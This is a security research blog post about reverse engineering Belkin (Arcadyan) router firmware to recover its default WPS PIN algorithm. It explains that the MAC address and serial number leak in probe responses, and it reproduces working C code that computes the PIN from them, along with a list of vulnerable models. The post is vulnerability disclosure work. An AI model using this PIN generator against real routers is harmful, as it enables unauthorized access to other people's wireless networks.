Reversing Belkin’s WPS Pin Algorithm

After finding D-Link’s WPS algorithm, I was curious to see which vendors might have similar algorithms, so I grabbed some Belkin firmware and started dissecting it. This particular firmware uses the SuperTask! RTOS, and in fact uses the same firmware obfuscation as seen previously on the Linksys WRT120N:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Obfuscated Arcadyan firmware, signature bytes: 0x12010920, see https://github.com/devttys0/wrt120n/deobfuscator
666624        0xA2C00         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 454656 bytes

Being a known obfuscation method, binwalk was able to de-obfuscate and extract the compressed firmware image. The next step was to figure out the code’s load address in order to get a proper disassembly in IDA; if the code is disassembled with the wrong load address, absolute memory references won’t be properly resolved.

Absolute addresses in the code can hint at the load address, such as this loop which zeros out the BSS data section:

BSS zeroing loops are usually easy to spot, as they will zero out relatively large regions of memory, and are typically encountered very early on in the code.

Here, the code is filling everything from 0x802655F0 to 0x80695574 with zeros, so this must be a valid address range in memory. Further, BSS is commonly located just after all the other code and data sections; in this case, the firmware image we’ve loaded into IDA is 0x2635EB bytes in size, so we would expect the BSS section to begin somewhere after this in memory:

In fact, subtracting the size of the firmware image from the start of the BSS section results in a value suspiciously close to 0x800002000:

0x802655F0 - 0x2635EB = 0x800002005

Setting 0x800002000 as the load address in IDA, we get a rather respectable disassembly:

With a reasonable disassembly, searching for a WPS pin generation algorithm could begin in ernest. When looking for functions related to generating WPS pins, it’s reasonable to assume that they’ll have to, at some point, calculate the WPS pin checksum. It would be useful to begin the search by first identifying the function(s) responsible for calculating the WPS pin checksum.

However, without a symbol table, finding a function conveniently named “wps_checksum” is not likely; luckily, MIPS C compilers tend to generate a predictable set of immediate values when generating the WPS checksum assembly code, a pattern I noticed when reversing D-Link’s WPS pin algorithm. Using an IDAPython script to search for these immediate values greatly simplifies the process of identifying the WPS checksum function:

There are only a few functions that call wps_checksum, and one of them contains a reference to a very interesting string:

There’s a lot of xoring and shifting going on in the GenerateDefaultPin code, but what is more interesting is what data it is munging. Looking at the values passed to GenerateDefaultPin, we can see that it is given both the router’s MAC address and serial number:

MAC addresses are easily gathered by a wireless attacker; serial numbers can be a bit more difficult. Although serial numbers aren’t particularly random, GenerateDefaultPin uses the least significant 4 digits of the serial number, which are unpredictable enough to prevent an external attacker from reliably calculating the WPS pin.

Or, at least that would be the case if the Belkin’s 802.11 probe response packets didn’t include the device’s serial number in its WPS information element:

Since WiFi probe request/response packets are not encrypted, an attacker can gather the MAC address (the MAC address used by the algorithm is the LAN MAC) and serial number of a target by sending a single probe request packet to a victim access point.

We just need to reverse the GenerateDefaultPin code to determine how it is using the MAC address and serial number to create a unique WPS pin (download PoC here):

/* Used in the Belkin code to convert an ASCII character to an integer */
int char2int(char c)
{
    char buf[2] = { 0 };

    buf[0] = c;
    return strtol(buf, NULL, 16);
}

/* Generates a standard WPS checksum from a 7 digit pin */
int wps_checksum(int pin)
{
    int div = 0;

    while(pin)
    {
        div += 3 * (pin % 10);
        pin /= 10;
        div += pin % 10;
        pin /= 10;
    }

    return ((10 - div % 10) % 10);
}

/* Munges the MAC and serial numbers to create a WPS pin */
int pingen(char *mac, char *serial)
{
#define NIC_NIBBLE_0    0
#define NIC_NIBBLE_1    1
#define NIC_NIBBLE_2    2
#define NIC_NIBBLE_3    3

#define SN_DIGIT_0      0
#define SN_DIGIT_1      1
#define SN_DIGIT_2      2
#define SN_DIGIT_3      3

    int sn[4], nic[4];
    int mac_len, serial_len;
    int k1, k2, pin;
    int p1, p2, p3;
    int t1, t2;

    mac_len = strlen(mac);
    serial_len = strlen(serial);

    /* Get the four least significant digits of the serial number */
    sn[SN_DIGIT_0] = char2int(serial[serial_len-1]);
    sn[SN_DIGIT_1] = char2int(serial[serial_len-2]);
    sn[SN_DIGIT_2] = char2int(serial[serial_len-3]);
    sn[SN_DIGIT_3] = char2int(serial[serial_len-4]);

    /* Get the four least significant nibbles of the MAC address */
    nic[NIC_NIBBLE_0] = char2int(mac[mac_len-1]);
    nic[NIC_NIBBLE_1] = char2int(mac[mac_len-2]);
    nic[NIC_NIBBLE_2] = char2int(mac[mac_len-3]);
    nic[NIC_NIBBLE_3] = char2int(mac[mac_len-4]);

    k1 = (sn[SN_DIGIT_2] + 
          sn[SN_DIGIT_3] +
          nic[NIC_NIBBLE_0] + 
          nic[NIC_NIBBLE_1]) % 16;

    k2 = (sn[SN_DIGIT_0] +
          sn[SN_DIGIT_1] +
          nic[NIC_NIBBLE_3] +
          nic[NIC_NIBBLE_2]) % 16;

    pin = k1 ^ sn[SN_DIGIT_1];
    
    t1 = k1 ^ sn[SN_DIGIT_0];
    t2 = k2 ^ nic[NIC_NIBBLE_1];
    
    p1 = nic[NIC_NIBBLE_0] ^ sn[SN_DIGIT_1] ^ t1;
    p2 = k2 ^ nic[NIC_NIBBLE_0] ^ t2;
    p3 = k1 ^ sn[SN_DIGIT_2] ^ k2 ^ nic[NIC_NIBBLE_2];
    
    k1 = k1 ^ k2;

    pin = (pin ^ k1) * 16;
    pin = (pin + t1) * 16;
    pin = (pin + p1) * 16;
    pin = (pin + t2) * 16;
    pin = (pin + p2) * 16;
    pin = (pin + k1) * 16;
    pin += p3;
    pin = (pin % 10000000) - (((pin % 10000000) / 10000000) * k1);
    
    return (pin * 10) + wps_checksum(pin);
}

Of the 24 Belkin routers tested, 80% of them were found to be using this algorithm for their default WPS pin:

Confirmed vulnerable:

• F9K1001v4
• F9K1001v5
• F9K1002v1
• F9K1002v2
• F9K1002v5
• F9K1103v1
• F9K1112v1
• F9K1113v1
• F9K1105v1
• F6D4230-4v2
• F6D4230-4v3
• F7D2301v1
• F7D1301v1
• F5D7234-4v3
• F5D7234-4v4
• F5D7234-4v5
• F5D8233-4v1
• F5D8233-4v3
• F5D9231-4v1

Confirmed not vulnerable:

• F9K1001v1
• F9K1105v2
• F6D4230-4v1
• F5D9231-4v2
• F5D8233-4v4

It’s not entirely fair to pick on Belkin though, as this appears to be an issue specific to Arcadyan, who is the ODM for many Belkin products, as well as others. This means that there are additional devices and vendors affected besides those listed above.